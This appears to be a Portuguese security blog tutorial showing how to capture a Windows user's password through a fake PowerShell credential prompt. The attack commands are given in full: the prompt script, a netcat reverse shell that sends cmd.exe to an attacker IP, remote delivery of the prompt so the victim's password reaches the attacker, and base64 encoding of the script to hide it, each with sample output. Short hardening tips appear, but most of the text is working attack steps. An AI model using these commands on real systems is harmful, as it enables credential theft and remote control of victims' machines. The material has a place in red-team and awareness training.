Existem diversas maneiras e recursos para se capturar a senha do usuário, mas da mesma forma existem boas práticas de segurança que podem ser aplicadas tanto durante um processo de conscientização para os usuários como a aplicação de Hardening para garantir que não seja possível executar scripts em PowerShell.

01 - Passo

Inicie e PowerShell e execute o comando :

Windows
$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password

02 - Passo

Será exibida a tela de autenticação :

03 - Passo

Assim que os dados são informados os mesmos são exibidos na tela em seguida, separados pelas colunas UserName, Domain, Password

Execução Remota

  • Certifique-se que em sua rede não seja possível realizar a execução de Scripts via PowerShell.
    • Você pode fazer isso via GPO, EDR, AV, etc.
  • Realize exercícios Purple Team para identificar outras formas de exploração.

01 - Passo

Na máquina do Atacante execute o comando :

Linux
nc -lvp 4444

02 - Passo

Na máquina da Vítima execute o comando :

Windows
nc 192.168.100 4444 -e C:\Windows\System32\cmd.exe

03 - Passo

Conexão estabelecida com sucesso! Execute o comando whoami para exibir o Usuário Logado.

Linux
whoami
100security\marcos

04 - Passo

Na máquina do Atacante execute o powershell em seguida o comando :

Linux
powershell.exe

$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password

05 - Passo

Na máquina da Vítima será solicitado o Usuário e Senha.

100SECURITY\Marcos
[email protected]

06 - Passo

Na máquina do Atacante ele consegue visualizar os dados informados pela Vítima :

100SECURITY\Marcos
[email protected]

Script Encodado

  • Redobre sua atenção ao realizar o download de um script em PowerShell, ele pode conter algum código encondado com o objetivo de obter informações sensíveis.
  • É uma prática muito comum utilizada durante um ataque.
  • Recomendo que inclua este tipo de teste nos exercícios de Red Team e Purple Team para realizar as ações de proteção.

01 - Passo

Para encodar o script é bem simples, basta seguir os passos :

Windows
$SCRIPT = '$senha = $Host.ui.PromptForCredential("Windows Security", "Informe o Usuário e a Senha", "$env:userdomain\$env:username",""); $senha.GetNetworkCredential() | select-object UserName, Domain, Password'

$ENCODE = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($SCRIPT))

Write-Output $ENCODE
JABzAGUAbgBoAGEAIAA9ACAAJABIAG8AcwB0AC4AdQBpAC4AUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABlAG4AdABpAGEAbAAoACIAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQAiACwAIAAiAEkAbgBmAG8AcgBtAGUAIABvACAAVQBzAHUA4QByAGkAbwAgAGUAIABhACAAUwBlAG4AaABhACIALAAgACIAJABlAG4AdgA6AHUAcwBlAHIAZABvAG0AYQBpAG4AXAAkAGUAbgB2ADoAdQBzAGUAcgBuAGEAbQBlACIALAAiACIAKQA7ACAAJABzAGUAbgBoAGEALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApACAAfAAgAHMAZQBsAGUAYwB0AC0AbwBiAGoAZQBjAHQAIABVAHMAZQByAE4AYQBtAGUALAAgAEQAbwBtAGEAaQBuACwAIABQAGEAcwBzAHcAbwByAGQA

02 - Passo

Para executar o script encodado basta informar a opção -E :

Windows
powershell.exe -E JABzAGUAbgBoAGEAIAA9ACAAJABIAG8AcwB0AC4AdQBpAC4AUAByAG8AbQBwAHQARgBvAHIAQwByAGUAZABlAG4AdABpAGEAbAAoACIAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQAiACwAIAAiAEkAbgBmAG8AcgBtAGUAIABvACAAVQBzAHUA4QByAGkAbwAgAGUAIABhACAAUwBlAG4AaABhACIALAAgACIAJABlAG4AdgA6AHUAcwBlAHIAZABvAG0AYQBpAG4AXAAkAGUAbgB2ADoAdQBzAGUAcgBuAGEAbQBlACIALAAiACIAKQA7ACAAJABzAGUAbgBoAGEALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApACAAfAAgAHMAZQBsAGUAYwB0AC0AbwBiAGoAZQBjAHQAIABVAHMAZQByAE4AYQBtAGUALAAgAEQAbwBtAGEAaQBuACwAIABQAGEAcwBzAHcAbwByAGQA

03 - Passo

Informar os dados solicitados :

1000SECURITY\marcos
[email protected]

04 - Passo

Os dados como UserName, Domain e Password são exibidos na tela :

UserName : Marcos
Domain : 100SECURITY
Password : [email protected]

PowerShell - Capturar a Senha do Usuário

YouTube


  Autor

Marcos Henrique

 São Paulo/SP



  Ataques de Senhas

© 2021 - 100SECURITY

Contato